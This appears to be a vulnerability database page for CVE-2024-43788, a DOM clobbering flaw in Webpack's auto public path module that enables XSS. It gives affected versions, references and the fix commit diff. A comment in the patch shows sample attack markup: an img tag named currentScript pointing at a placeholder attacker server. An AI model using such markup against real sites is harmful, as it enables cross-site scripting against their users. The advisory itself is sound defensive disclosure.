DOM Clobbering Gadget found in Webpack's AutoPublicPathRuntimeModule that leads to Cross-site Scripting (XSS)
Description
Webpack is a module bundler. Its main purpose is to bundle JavaScript files for usage in a browser, yet it is also capable of transforming, bundling, or packaging just about any resource or asset. The webpack developers have discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Real-world exploitation of this gadget has been observed in the Canvas LMS which allows a XSS attack to happen through a javascript code compiled by Webpack (the vulnerable part is from Webpack). DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. This issue has been addressed in release version 5.94.0. All users are advised to upgrade. There are no known workarounds for this issue.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
webpacknpm | >= 5.0.0-alpha.0, < 5.94.0 | 5.94.0 |
Affected products
1Patches
1955e057abc6csecurity: fix DOM clobbering in auto public path
3 files changed · +9 −5
lib/runtime/AutoPublicPathRuntimeModule.js+4 −1 modified@@ -50,7 +50,10 @@ class AutoPublicPathRuntimeModule extends RuntimeModule { `var document = ${RuntimeGlobals.global}.document;`, "if (!scriptUrl && document) {", Template.indent([ - "if (document.currentScript)", + // Technically we could use `document.currentScript instanceof window.HTMLScriptElement`, + // but an attacker could try to inject `<script>HTMLScriptElement = HTMLImageElement</script>` + // and use `<img name="currentScript" src="https://attacker.controlled.server/"></img>` + "if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT')", Template.indent("scriptUrl = document.currentScript.src;"), "if (!scriptUrl) {", Template.indent([
test/helpers/CurrentScript.js+1 −0 modified@@ -2,6 +2,7 @@ class CurrentScript { constructor(path = "", type = "text/javascript") { this.src = `https://test.cases/path/${path}index.js`; this.type = type; + this.tagName = "script"; } }
test/Stats.test.js+4 −4 modified@@ -190,10 +190,10 @@ describe("Stats", () => { "assets": Array [ Object { "name": "entryB.js", - "size": 3010, + "size": 3060, }, ], - "assetsSize": 3010, + "assetsSize": 3060, "auxiliaryAssets": undefined, "auxiliaryAssetsSize": 0, "childAssets": undefined, @@ -238,10 +238,10 @@ describe("Stats", () => { "info": Object { "javascriptModule": false, "minimized": true, - "size": 3010, + "size": 3060, }, "name": "entryB.js", - "size": 3010, + "size": 3060, "type": "asset", }, Object {
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
7- github.com/advisories/GHSA-4vvj-4cpr-p986ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2024-43788ghsaADVISORY
- github.com/webpack/webpack/commit/955e057abc6cc83cbc3fa1e1ef67a49758bf5a61ghsax_refsource_MISCWEB
- github.com/webpack/webpack/issues/18718ghsax_refsource_MISCWEB
- github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986ghsax_refsource_CONFIRMWEB
- research.securitum.com/xss-in-amp4email-dom-clobberingghsax_refsource_MISCWEB
- scnps.co/papers/sp23_domclob.pdfghsax_refsource_MISCWEB
News mentions
0No linked articles in our index yet.